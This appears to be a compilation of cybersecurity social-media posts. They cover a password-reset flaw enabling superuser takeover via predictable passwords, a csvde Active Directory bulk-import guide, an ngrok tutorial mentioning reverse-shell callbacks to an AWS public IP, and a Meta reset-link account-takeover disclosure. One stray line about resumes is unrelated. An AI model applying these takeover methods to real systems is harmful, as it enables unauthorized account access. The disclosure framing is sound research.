🦑Broken Access Control: From Password Reset to Mass Account Takeover

A critical vulnerability in the password reset functionality of an API endpoint (/api/u/resetPwd). Here’s how it unfolded:

1️⃣ The endpoint accepts a username parameter and sends a password reset link to the user's email.
2️⃣ The use of "u" in the endpoint (u=user) hinted that other roles like admin (a=admin) or superuser (su) might exist.
3️⃣ Attempts to reset admin passwords via /api/admin/resetPwd and /api/administrator/resetPwd failed.
4️⃣ However, /api/su/resetPwd worked, allowing me to reset the superuser password!
5️⃣ The reset mechanism generated predictable passwords like username + ab12*. For example, resetting for admin resulted in adminab12*.

🎯 Impact: This flaw allowed unauthorized access to critical accounts, leading to mass account takeover.

Additionally, I have provided interview simulations for each job application, along with tailored ATS-optimised resumes.

🦑User Automation Process Using CSV:

1- Create the CSV Script
Begin by creating a CSV file with the following headers:
{DN,ObjectClass,SamAccountName,UserPrincipalName,Description,UserAccountName,DisplayName}
2- Fill in the Data
Below the headers, enter the required user details. Each line should represent a user in this format:
{"CN=User1,OU=IT,DC=company,DC=com",user,User1,user1@company.com,"IT Specialist","User1",514,"User One"
"CN=User2,OU=Sales,DC=company,DC=com",user,User2,user2@company.com,"Sales Representative","User2",514,"User Two"}
3- Save the File
Once all user data is filled in, save the file with a .csv extension
Example filename: users.csv
4- Import the Users
To import the users, open PowerShell and run the following command
{csvde -i -f "C:\path\to\your\users.csv"}
5- Enable the Accounts
After importing, all accounts will be disabled by default. To enable them:
Reset their passwords.
Use PowerShell commands to enable the accounts.

🦑Ngrok – Simplified Tunneling.

ngrok is a game-changing tool that bridges the gap between your local machine and the online world by exposing local servers to the internet through secure tunnels.

🔑 What Makes Ngrok a Must-Have Tool?

1️⃣ Simplified Local Tunneling
Ngrok allows you to expose a local server to the internet in seconds. Say goodbye to complex port forwarding configurations or NAT headaches.

2️⃣ Secure Tunnels
With built-in TLS encryption, Ngrok ensures your data travels securely between endpoints. No more worrying about unencrypted connections when demonstrating or testing sensitive applications.

3️⃣ Dynamic Subdomains
Easily share your application with temporary, unique URLs that expire after use. Perfect for one-time demos or testing.

4️⃣ Webhook Testing Made Easy
Debugging webhook integrations has never been simpler. Ngrok allows you to view detailed request logs and replay them for testing.

5️⃣ Remote Collaboration
Showcase your development or simulations to remote teams without deploying to production. Whether it’s a cybersecurity simulation or an app prototype, Ngrok is your go-to solution.

🔧 How to Get Started with Ngrok

1️⃣ Install Ngrok

Download and install Ngrok from the official website:
👉 https:// ngrok.com /download

For Linux, run:

sudo apt install ngrok

2️⃣ Sign Up for Free or Pro Plan

Ngrok’s free plan offers basic tunneling, while the Pro plan unlocks advanced features like custom subdomains and reserved addresses.

3️⃣ Expose Your Local Server

Run your local app (e.g., on port 5000):

python -m http.server 5000

Start the Ngrok tunnel:

ngrok http 5000

Ngrok will generate a public URL (e.g., https://1234.ngrok.io) that maps to your local server. Share this URL to let others access your app!

🌍 When You Need a Public IP

Ngrok is great for quick and easy access to your local applications, but for real-world penetration testing, you’ll eventually need a dedicated public IP address for activities like remote shell connections or long-term access.

Personally, I use AWS servers to run my virtual machines with public IP addresses. AWS provides an ideal environment for hosting pentesting tools, enabling you to maintain persistent access during engagements.

For example:

• If you’re delivering a reverse shell, having a public IP is crucial to ensure the shell connects back to your system.
• AWS Elastic IPs make it easy to assign a static public IP, which is highly reliable for pentesting setups.

Have you used AWS servers or Ngrok in your pentesting or development setups? 🚀

🦑Critical Security Bug in Meta Ecosystem – Zero-Click Account Takeover 🔒

As cybersecurity researchers, my buddy Musawer Khan and I uncovered a Zero-Click Account Takeover (ATO) vulnerability in Meta's ecosystem. This vulnerability involved chaining two endpoints—one being a password reset URL that was indexed on platforms like URLScan and Wayback Machine. These URLs should ideally expire after a reasonable timeframe, yet they remained active and exploitable.

Impact:
1. Without requiring any user interaction (zero-click), we were able to gain unauthorized access to multiple accounts by chaining an endpoint and a password reset link.
2. This demonstrates a serious flaw in how reset links are managed, as they should expire promptly to mitigate potential misuse.

Despite providing a detailed proof-of-concept (PoC) showcasing the exploit, Meta Meta Facebook security team declined to classify this as a vulnerability under their bug bounty program, stating that the URLs were publicly exposed before indexing. However, the persistence of these sensitive URLs and the ability to exploit them points to a systemic issue.

Our Responsibility:
As responsible researchers, Musawer Khan and I ensured that all live URLs were expired from our side before disclosing the findings publicly. Our goal is to raise awareness about the importance of securing password reset mechanisms and ensuring that sensitive URLs are time-bound and properly invalidated.

Key Takeaways:
Password reset URLs should automatically expire after a short duration or after first use.
